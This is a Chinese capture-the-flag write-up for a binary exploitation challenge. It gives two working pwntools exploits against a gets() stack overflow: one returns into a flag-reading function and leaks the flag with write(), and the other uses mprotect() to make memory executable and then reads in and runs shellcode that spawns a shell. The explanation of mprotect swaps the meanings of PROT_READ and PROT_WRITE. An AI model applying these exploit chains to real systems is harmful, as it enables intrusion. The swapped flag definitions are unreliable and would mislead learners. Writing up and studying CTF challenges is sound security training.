這道題是我見過的又一個新的題目不過這道題有兩種不同的解題方法
我們一起來看一下這道題目吧:
前面的保護機制檢查我就不粘貼圖片了。直接分析代碼。main函數很簡單,看到gets()函數就一定有棧溢出
IDA函數欄中我們可以看到main函數上面有一個get_secret()函數。進去看看:
這個函數是讀取flag.txt文件的內容將內容放在fl4g這個參數中我們可以利用程序中的write()函數將fl4g這個變量的內容讀出來:
from pwn import *
from LibcSearcher import*
context.os='linux'
context.arch='i386'
context.log_level='debug'
r=remote('node4.buuoj.cn',26797)
elf=ELF('./not')
flag_addr=0x80eca2d
payload='a'*0x2d+p32(0x80489a0)+p32(elf.symbols['write'])+p32(flag_addr)+p32(1)+p32(flag_addr)+p32(42)
// 0x2d個垃圾數據填充 get_secret函數的地址 write函數的地址 fl4g變量的位置 最后是write函數的參數
r.sendline(payload)
r.interactive()
這是第一種方法的exp
第二種相對難一點,在此之前呢我們先了解一個函數
mprotect()這個函數:int mprotect(const void *start, size_t len, int prot);
mprotect()函數把自start開始的、長度為len的內存區的保護屬性修改為prot指定的值。
prot可以取以下幾個值,並且可以用“|”將幾個屬性合起來使用:
1)PROT_READ:表示內存段內的內容可寫;
2)PROT_WRITE:表示內存段內的內容可讀;
3)PROT_EXEC:表示內存段中的內容可執行;
4)PROT_NONE:表示內存段中的內容根本沒法訪問。
需要指出的是,指定的內存區間必須包含整個內存頁(4K)。區間開始的地址start必須是一個內存頁的起始地址,並且區間長度len必須是頁大小的整數倍。
如果執行成功,則返回0;如果執行失敗,則返回-1,並且設置errno變量,說明具體因為什么原因造成調用失敗。
下面是exp
from pwn import *
r=remote('node4.buuoj.cn',26797)
elf=ELF('./not')
read_addr=elf.symbols['read']
mprotect=0x806ED40
addr=0x80eb000
p3_ret=0x806fcc8
shellcode=asm(shellcraft.sh())
payload ='a'*0x2d+p32(mprotect)+p32(p3_ret)
payload +=p32(addr)+p32(0x100)+p32(0x7)
payload +=p32(read_addr)+p32(p3_ret)
payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)
r.sendline(payload)
r.sendline(shellcode)
r.interactive()